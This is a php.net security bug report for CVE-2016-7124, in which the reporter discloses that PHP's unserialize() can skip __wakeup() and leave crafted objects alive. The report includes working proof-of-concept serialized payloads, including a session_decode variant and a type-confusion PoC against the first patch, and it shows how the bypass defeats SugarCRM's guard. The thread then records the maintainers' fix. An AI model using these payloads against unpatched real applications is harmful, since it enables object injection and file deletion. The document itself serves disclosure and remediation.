php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72663 Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization
Submitted: 2016-07-24 02:09 UTC Modified: 2016-09-05 15:28 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.6.24 OS:
Private report: No CVE-ID: 2016-7124
 [2016-07-24 02:09 UTC] taoguangchen at icloud dot com
Description:
------------
Create an Unexpected Object and Don't Invoke __wakeup() in During Deserialization

```
static inline long object_common1(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
...	
	if (ce->serialize == NULL) {
		object_init_ex(*rval, ce);  <=== create object
...
static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
{
...
	if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_PP(rval), elements, 1)) {  <=== create object properties
		return 0;
	}

	if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
		zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) {
		INIT_PZVAL(&fname);
		ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0);
		BG(serialize_lock)++;
		call_user_function_ex(CG(function_table), rval, &fname, &retval_ptr, 0, 0, 1, NULL TSRMLS_CC);  <=== call to __wakeup()
		BG(serialize_lock)--;
	}
```

If the process_nested_data() return 0, the __wakeup() will not be invoked, but the object and its properties has been created, then the unexpected object will be destroyed (or may not). This may cause some security issues.

i)The unexpected object was destroyed, invoke __destruct()

Some app revents objects deserialization via __wakeup(), ex SugarCRM:

https://github.com/sugarcrm/sugarcrm_dev/blob/de002ede6b3f62ea9f0e22a49ba281c680bc69d7/Zend/Http/Response/Stream.php
```
    public function __destruct()
    {
        if(is_resource($this->stream)) {
            fclose($this->stream);
            $this->stream = null;
        }
        if($this->_cleanup) {
            @unlink($this->stream_name);
        }
    }
    /**
	 * This is needed to prevent unserialize vulnerability
     */
    public function __wakeup()
    {
        // clean all properties
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        throw new Exception("Not a serializable object");
	}
```

So attacker can bypass __wakeup() and invoke __destruct() with crafted properties.

ii)The unexpected object wasn't destroyed, invoke more magic methods.

Keeping the unexpected object via customized deserialization.

PoC:
```
<?php

class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
    }
}

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:4;}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);
echo $data[1];

?>
```

Keeping the unexpected object via session deserialization.

```
PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */
{
...
	PHP_VAR_UNSERIALIZE_INIT(var_hash);
	ALLOC_INIT_ZVAL(session_vars);
	if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC)) {
		var_push_dtor(&var_hash, &session_vars);
	}

	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
...
	PS(http_session_vars) = session_vars;
```

The unexpected data in during deserialization will be still stored into $_SESSION.

PoC:
```
<?php

ini_set('session.serialize_handler', 'php_serialize');
session_start();
$sess = 'O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:1;}';
session_decode($sess);
echo $_SESSION;

?>
```


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-08-02 08:10 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-08-02 08:10 UTC] stas@php.net
The fix in https://gist.github.com/58984168c394295e8d22165ccf7c5e5f
 and in 7eb78025d4df8facdca70d3cadd907bdb67902a2 in security repo. Please verify.
 [2016-08-02 10:42 UTC] taoguangchen at icloud dot com
This patch will lead to type confusion:

```
<?php

ini_set('memory_limit', -1);

class obj {
	var $ryat;
	function __wakeup() {
		$this->ryat = str_repeat('A', 0x11223344);
	}
}

$poc = 'O:8:"stdClass":1:{i:0;O:3:"obj":1:{s:4:"ryat";R:1;';
unserialize($poc);

?>
```
 [2016-08-07 22:34 UTC] stas@php.net
Improved fix in a309b6eb04310119d55ec00e64496ec7b78d6132 and https://gist.github.com/c745ab7a35f63c7d56854e209deef947
 [2016-08-13 07:29 UTC] taoguangchen at icloud dot com
Can you give me a look at the patch for 7.0/master?
 [2016-08-13 19:04 UTC] stas@php.net
-PHP Version: 5.5.38 +PHP Version: 5.6.24
 [2016-08-13 19:05 UTC] stas@php.net
I don't have one for master yet, but it should not be much different than this one, probably.
 [2016-08-15 06:03 UTC] stas@php.net
-CVE-ID: +CVE-ID: needed
 [2016-08-17 05:57 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=448c9be157f4147e121f1a2a524536c75c9c6059
Log: Fix bug #72663 - destroy broken object when unserializing
 [2016-08-17 05:57 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-08-17 08:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=448c9be157f4147e121f1a2a524536c75c9c6059
Log: Fix bug #72663 - destroy broken object when unserializing
 [2016-08-17 09:15 UTC] laruence@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=448c9be157f4147e121f1a2a524536c75c9c6059
Log: Fix bug #72663 - destroy broken object when unserializing
 [2016-08-17 12:04 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=20ce2fe8e3c211a42fee05a461a5881be9a8790e
Log: Fix bug #72663 - destroy broken object when unserializing
 [2016-08-18 11:15 UTC] tyrael@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c1cfd6a9fe23765191ea2f654790c7b127d4b797
Log: Fix bug #72663 - destroy broken object when unserializing
 [2016-09-05 15:28 UTC] remi@php.net
-CVE-ID: needed +CVE-ID: 2016-7124
 [2016-10-17 10:09 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=448c9be157f4147e121f1a2a524536c75c9c6059
Log: Fix bug #72663 - destroy broken object when unserializing
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Mar 19 04:01:31 2024 UTC